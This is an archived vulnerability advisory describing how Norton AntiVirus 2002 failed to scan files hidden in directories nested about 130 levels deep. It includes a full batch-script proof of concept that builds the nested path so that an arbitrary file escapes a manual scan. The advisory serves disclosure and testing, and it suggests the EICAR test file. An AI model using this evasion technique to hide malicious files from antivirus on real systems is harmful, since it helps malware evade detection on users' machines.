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TUCoPS :: Security App Flaws :: hack3917.htm

Norton AntiVirus nested file manual scan bypass.....



Norton AntiVirus nested file manual scan bypass.....



Norton AntiVirus nested file manual scan bypass.....



Product Version: Norton Antivirus 2002 (~Only tested On...~)

Risk Impact: Medium

Vendor Status: No responce!



Summary:



If you manage to inject a file in the sub-directory(s); beyond windows OS can create normally, [ say in 130 'th + sub-directory at c:\..\..\..\....upto 130'th ... ] NAV fails to scan the NESTED FILE. Indeed, it's more a windows restriction in accesing the nested file than a ANTIVIRUS flaw. Other antivirus product should also suffer the same. *.PLEASE VERIFY.* NAV



=-------CUT----------=

@echo off

rem Bipin Gautam [hUNT3R]

rem [http://www.geocities.com/visitbipin] * [http://www.01security.com] 

echo 

echo ************************************************

echo -( For  a  harmless   test...  you   can    use,

echo http://www.eicar.org/anti_virus_test_file.htm )- 

echo ************************************************

pause

cd\

c:

cd\

:hUNT3r 

md 1 

cd 1 

if not errorlevel  1 goto :hUNT3r

cd..

rmdir 1

md X

cls

echo ***************************************************************

echo  Now you can inject any file inside the folder 'X' which is inside 

echo 120'th sub-directory of 'c:\1' [ i.e c:\1\..\...\.....[120'th dir].....\X\ ] 

echo Note: The file you are moving to'c:\1\...\X\' should only contain 

echo '1' char. file name, say: '1.exe' or '2.exe' or 'a.exe' etc... 

echo not as '123.not' 'qwert.hak'

echo .........

echo               So, ARE YOU DONE!?

echo ......... 

echo   After  this  batch   script  is  terminated,  you'll

echo   find the file you ^just copied^ inside c:\1\........\X\ 

echo   now in c:\3\3\3\3\3\1\1\1\......[130' th dir].....\X\

echo   mmm... Then have a  manual scan of c:\3\ Any file you

echo   have put inside the dir. 'X' can't be detected by NORTON Antivirus anymore!!!

echo ***************************************************



pause

cd\

md 3\3\3\3\3\3\3\3\3\3\

cd\

xcopy /E /I c:\1\*.* c:3\3\3\3\3\3\3\3\3\3\

exit



=-------CUT----------=



Disclaimer: The information in the advisory is believed to be accurate at the time of printing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect or consequential loss or damage arising from use of, or reliance on this information.


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